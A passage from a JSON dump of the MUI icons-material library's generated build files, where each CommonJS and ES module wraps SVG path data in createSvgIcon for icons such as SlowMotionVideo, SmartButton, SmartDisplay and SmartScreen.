    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.05 9.79 10 7.5v9l3.05-2.29L16 12zm0 0L10 7.5v9l3.05-2.29L16 12zm0 0L10 7.5v9l3.05-2.29L16 12zM11 4.07V2.05c-2.01.2-3.84 1-5.32 2.21L7.1 5.69c1.11-.86 2.44-1.44 3.9-1.62M5.69 7.1 4.26 5.68C3.05 7.16 2.25 8.99 2.05 11h2.02c.18-1.46.76-2.79 1.62-3.9M4.07 13H2.05c.2 2.01 1 3.84 2.21 5.32l1.43-1.43c-.86-1.1-1.44-2.43-1.62-3.89m1.61 6.74C7.16 20.95 9 21.75 11 21.95v-2.02c-1.46-.18-2.79-.76-3.9-1.62zM22 12c0 5.16-3.92 9.42-8.95 9.95v-2.02C16.97 19.41 20 16.05 20 12s-3.03-7.41-6.95-7.93V2.05C18.08 2.58 22 6.84 22 12\"\n}), 'SlowMotionVideoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlowMotionVideoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.05 9.79 10 7.5v9l3.05-2.29L16 12zm0 0L10 7.5v9l3.05-2.29L16 12zm0 0L10 7.5v9l3.05-2.29L16 12zM11 4.07V2.05c-2.01.2-3.84 1-5.32 2.21L7.1 5.69c1.11-.86 2.44-1.44 3.9-1.62M5.69 7.1 4.26 5.68C3.05 7.16 2.25 8.99 2.05 11h2.02c.18-1.46.76-2.79 1.62-3.9M4.07 13H2.05c.2 2.01 1 3.84 2.21 5.32l1.43-1.43c-.86-1.1-1.44-2.43-1.62-3.89m1.61 6.74C7.16 20.95 9 21.75 11 21.95v-2.02c-1.46-.18-2.79-.76-3.9-1.62zM22 12c0 5.16-3.92 9.42-8.95 9.95v-2.02C16.97 19.41 20 16.05 20 12s-3.03-7.41-6.95-7.93V2.05C18.08 2.58 22 6.84 22 12\"\n}), 'SlowMotionVideoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlowMotionVideoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4.26 18.32 1.43-1.43c-.86-1.1-1.44-2.43-1.62-3.89H2.05c.2 2.01 1 3.84 2.21 5.32M7.1 5.69c1.11-.86 2.44-1.44 3.9-1.62V2.05c-2.01.2-3.84 1-5.32 2.21zM2.05 11h2.02c.18-1.46.76-2.79 1.62-3.9L4.26 5.68C3.05 7.16 2.25 8.99 2.05 11m11-8.95v2.02C16.97 4.59 20 7.95 20 12s-3.03 7.41-6.95 7.93v2.02C18.08 21.42 22 17.16 22 12s-3.92-9.42-8.95-9.95M16 12l-2.95-2.21L10 7.5v9l3.05-2.29zM5.68 19.74C7.16 20.95 9 21.75 11 21.95v-2.02c-1.46-.18-2.79-.76-3.9-1.62z\"\n}), 'SlowMotionVideoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SlowMotionVideoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4.26 18.32 1.43-1.43c-.86-1.1-1.44-2.43-1.62-3.89H2.05c.2 2.01 1 3.84 2.21 5.32M7.1 5.69c1.11-.86 2.44-1.44 3.9-1.62V2.05c-2.01.2-3.84 1-5.32 2.21zM2.05 11h2.02c.18-1.46.76-2.79 1.62-3.9L4.26 5.68C3.05 7.16 2.25 8.99 2.05 11m11-8.95v2.02C16.97 4.59 20 7.95 20 12s-3.03 7.41-6.95 7.93v2.02C18.08 21.42 22 17.16 22 12s-3.92-9.42-8.95-9.95M16 12l-2.95-2.21L10 7.5v9l3.05-2.29zM5.68 19.74C7.16 20.95 9 21.75 11 21.95v-2.02c-1.46-.18-2.79-.76-3.9-1.62z\"\n}), 'SlowMotionVideoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartButton.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9v6c0 1.1-.9 2-2 2h-1v-2h1V9H4v6h6v2H4c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-7.5 10 1.09-2.41L18 15.5l-2.41-1.09L14.5 12l-1.09 2.41L11 15.5l2.41 1.09zm2.5-5 .62-1.38L19 12l-1.38-.62L17 10l-.62 1.38L15 12l1.38.62zm-2.5 5 1.09-2.41L18 15.5l-2.41-1.09L14.5 12l-1.09 2.41L11 15.5l2.41 1.09zm2.5-5 .62-1.38L19 12l-1.38-.62L17 10l-.62 1.38L15 12l1.38.62z\"\n}), 'SmartButton');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartButton.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9v6c0 1.1-.9 2-2 2h-1v-2h1V9H4v6h6v2H4c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-7.5 10 1.09-2.41L18 15.5l-2.41-1.09L14.5 12l-1.09 2.41L11 15.5l2.41 1.09zm2.5-5 .62-1.38L19 12l-1.38-.62L17 10l-.62 1.38L15 12l1.38.62zm-2.5 5 1.09-2.41L18 15.5l-2.41-1.09L14.5 12l-1.09 2.41L11 15.5l2.41 1.09zm2.5-5 .62-1.38L19 12l-1.38-.62L17 10l-.62 1.38L15 12l1.38.62z\"\n}), 'SmartButton');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartButtonOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9v6c0 1.1-.9 2-2 2h-1v-2h1V9H4v6h6v2H4c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-7.5 10 1.09-2.41L18 15.5l-2.41-1.09L14.5 12l-1.09 2.41L11 15.5l2.41 1.09zm2.5-5 .62-1.38L19 12l-1.38-.62L17 10l-.62 1.38L15 12l1.38.62zm-2.5 5 1.09-2.41L18 15.5l-2.41-1.09L14.5 12l-1.09 2.41L11 15.5l2.41 1.09zm2.5-5 .62-1.38L19 12l-1.38-.62L17 10l-.62 1.38L15 12l1.38.62z\"\n}), 'SmartButtonOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartButtonOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9v6c0 1.1-.9 2-2 2h-1v-2h1V9H4v6h6v2H4c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-7.5 10 1.09-2.41L18 15.5l-2.41-1.09L14.5 12l-1.09 2.41L11 15.5l2.41 1.09zm2.5-5 .62-1.38L19 12l-1.38-.62L17 10l-.62 1.38L15 12l1.38.62zm-2.5 5 1.09-2.41L18 15.5l-2.41-1.09L14.5 12l-1.09 2.41L11 15.5l2.41 1.09zm2.5-5 .62-1.38L19 12l-1.38-.62L17 10l-.62 1.38L15 12l1.38.62z\"\n}), 'SmartButtonOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartButtonRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9v6c0 1.1-.9 2-2 2h-1v-2h1V9H4v6h6v2H4c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-7.96 8.99c.18.39.73.39.91 0l.63-1.4 1.4-.63c.39-.18.39-.73 0-.91l-1.4-.63-.63-1.4c-.18-.39-.73-.39-.91 0l-.63 1.4-1.4.63c-.39.18-.39.73 0 .91l1.4.63zm2.7-4.56c.1.22.42.22.52 0l.36-.8.8-.36c.22-.1.22-.42 0-.52l-.8-.36-.36-.8c-.1-.22-.42-.22-.52 0l-.36.8-.8.36c-.22.1-.22.42 0 .52l.8.36z\"\n}), 'SmartButtonRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartButtonRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9v6c0 1.1-.9 2-2 2h-1v-2h1V9H4v6h6v2H4c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-7.96 8.99c.18.39.73.39.91 0l.63-1.4 1.4-.63c.39-.18.39-.73 0-.91l-1.4-.63-.63-1.4c-.18-.39-.73-.39-.91 0l-.63 1.4-1.4.63c-.39.18-.39.73 0 .91l1.4.63zm2.7-4.56c.1.22.42.22.52 0l.36-.8.8-.36c.22-.1.22-.42 0-.52l-.8-.36-.36-.8c-.1-.22-.42-.22-.52 0l-.36.8-.8.36c-.22.1-.22.42 0 .52l.8.36z\"\n}), 'SmartButtonRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartButtonSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 17h-3v-2h1V9H4v6h6v2H2V7h20zm-7.5 2 1.09-2.41L18 15.5l-2.41-1.09L14.5 12l-1.09 2.41L11 15.5l2.41 1.09zm2.5-5 .62-1.38L19 12l-1.38-.62L17 10l-.62 1.38L15 12l1.38.62z\"\n}), 'SmartButtonSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartButtonSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 17h-3v-2h1V9H4v6h6v2H2V7h20zm-7.5 2 1.09-2.41L18 15.5l-2.41-1.09L14.5 12l-1.09 2.41L11 15.5l2.41 1.09zm2.5-5 .62-1.38L19 12l-1.38-.62L17 10l-.62 1.38L15 12l1.38.62z\"\n}), 'SmartButtonSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartButtonTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9v6c0 1.1-.9 2-2 2h-1v-2h1V9H4v6h6v2H4c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-7.5 10 1.09-2.41L18 15.5l-2.41-1.09L14.5 12l-1.09 2.41L11 15.5l2.41 1.09zm2.5-5 .62-1.38L19 12l-1.38-.62L17 10l-.62 1.38L15 12l1.38.62zm-2.5 5 1.09-2.41L18 15.5l-2.41-1.09L14.5 12l-1.09 2.41L11 15.5l2.41 1.09zm2.5-5 .62-1.38L19 12l-1.38-.62L17 10l-.62 1.38L15 12l1.38.62z\"\n}), 'SmartButtonTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartButtonTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9v6c0 1.1-.9 2-2 2h-1v-2h1V9H4v6h6v2H4c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-7.5 10 1.09-2.41L18 15.5l-2.41-1.09L14.5 12l-1.09 2.41L11 15.5l2.41 1.09zm2.5-5 .62-1.38L19 12l-1.38-.62L17 10l-.62 1.38L15 12l1.38.62zm-2.5 5 1.09-2.41L18 15.5l-2.41-1.09L14.5 12l-1.09 2.41L11 15.5l2.41 1.09zm2.5-5 .62-1.38L19 12l-1.38-.62L17 10l-.62 1.38L15 12l1.38.62z\"\n}), 'SmartButtonTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartDisplay.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M9.5 16.5v-9l7 4.5z\"\n}), 'SmartDisplay');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartDisplay.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M9.5 16.5v-9l7 4.5z\"\n}), 'SmartDisplay');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartDisplayOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 7.5v9l7-4.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14.01H4V5.99h16z\"\n}, \"1\")], 'SmartDisplayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartDisplayOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 7.5v9l7-4.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14.01H4V5.99h16z\"\n}, \"1\")], 'SmartDisplayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartDisplayRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M9.5 14.67V9.33c0-.79.88-1.27 1.54-.84l4.15 2.67c.61.39.61 1.29 0 1.68l-4.15 2.67c-.66.43-1.54-.05-1.54-.84\"\n}), 'SmartDisplayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartDisplayRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M9.5 14.67V9.33c0-.79.88-1.27 1.54-.84l4.15 2.67c.61.39.61 1.29 0 1.68l-4.15 2.67c-.66.43-1.54-.05-1.54-.84\"\n}), 'SmartDisplayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartDisplaySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h20zM9.5 16.5v-9l7 4.5z\"\n}), 'SmartDisplaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartDisplaySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h20zM9.5 16.5v-9l7 4.5z\"\n}), 'SmartDisplaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartDisplayTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18.01h16V5.99H4zM9.5 7.5l7 4.5-7 4.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 7.5v9l7-4.5z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14.01H4V5.99h16z\"\n}, \"2\")], 'SmartDisplayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartDisplayTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18.01h16V5.99H4zM9.5 7.5l7 4.5-7 4.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 7.5v9l7-4.5z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14.01H4V5.99h16z\"\n}, \"2\")], 'SmartDisplayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartScreen.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5H3c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-3 12H6V7h12z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11.25h1.5v1.5H15zm-2.5 0H14v1.5h-1.5zm-2.5 0h1.5v1.5H10zm-2.5 0H9v1.5H7.5z\"\n}, \"1\")], 'SmartScreen');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartScreen.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5H3c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-3 12H6V7h12z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11.25h1.5v1.5H15zm-2.5 0H14v1.5h-1.5zm-2.5 0h1.5v1.5H10zm-2.5 0H9v1.5H7.5z\"\n}, \"1\")], 'SmartScreen');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartScreenOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 11.25H14v1.5h-1.5zm2.5 0h1.5v1.5H15zm-5 0h1.5v1.5H10zm-2.5 0H9v1.5H7.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5H3c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2M4 17H3V7h1zm14 0H6V7h12zm3 0h-1V7h1z\"\n}, \"1\")], 'SmartScreenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartScreenOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 11.25H14v1.5h-1.5zm2.5 0h1.5v1.5H15zm-5 0h1.5v1.5H10zm-2.5 0H9v1.5H7.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5H3c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2M4 17H3V7h1zm14 0H6V7h12zm3 0h-1V7h1z\"\n}, \"1\")], 'SmartScreenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartScreenRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5H3c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-3 2v10H6V7zm-4 5c0-.41-.34-.75-.75-.75s-.75.34-.75.75.34.75.75.75.75-.34.75-.75m-5 0c0-.41-.34-.75-.75-.75s-.75.34-.75.75.34.75.75.75S9 12.41 9 12m7.5 0c0-.41-.34-.75-.75-.75s-.75.34-.75.75.34.75.75.75.75-.34.75-.75m-5 0c0-.41-.34-.75-.75-.75s-.75.34-.75.75.34.75.75.75.75-.34.75-.75\"\n}), 'SmartScreenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartScreenRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5H3c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-3 2v10H6V7zm-4 5c0-.41-.34-.75-.75-.75s-.75.34-.75.75.34.75.75.75.75-.34.75-.75m-5 0c0-.41-.34-.75-.75-.75s-.75.34-.75.75.34.75.75.75S9 12.41 9 12m7.5 0c0-.41-.34-.75-.75-.75s-.75.34-.75.75.34.75.75.75.75-.34.75-.75m-5 0c0-.41-.34-.75-.75-.75s-.75.34-.75.75.34.75.75.75.75-.34.75-.75\"\n}), 'SmartScreenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartScreenSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 5v14h22V5zm17 12H6V7h12z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 11.25H14v1.5h-1.5zm2.5 0h1.5v1.5H15zm-5 0h1.5v1.5H10zm-2.5 0H9v1.5H7.5z\"\n}, \"1\")], 'SmartScreenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmartScreenSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 5v14h22V5zm17 12H6V7h12z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 11.25H14v1.5h-1.5zm2.5 0h1.5v1.5H15zm-5 0h1.5v1.5H10zm-2.5 0H9v1.5H7.5z\"\n}, \"1\")], 'SmartScreenSharp');"
  },
  {
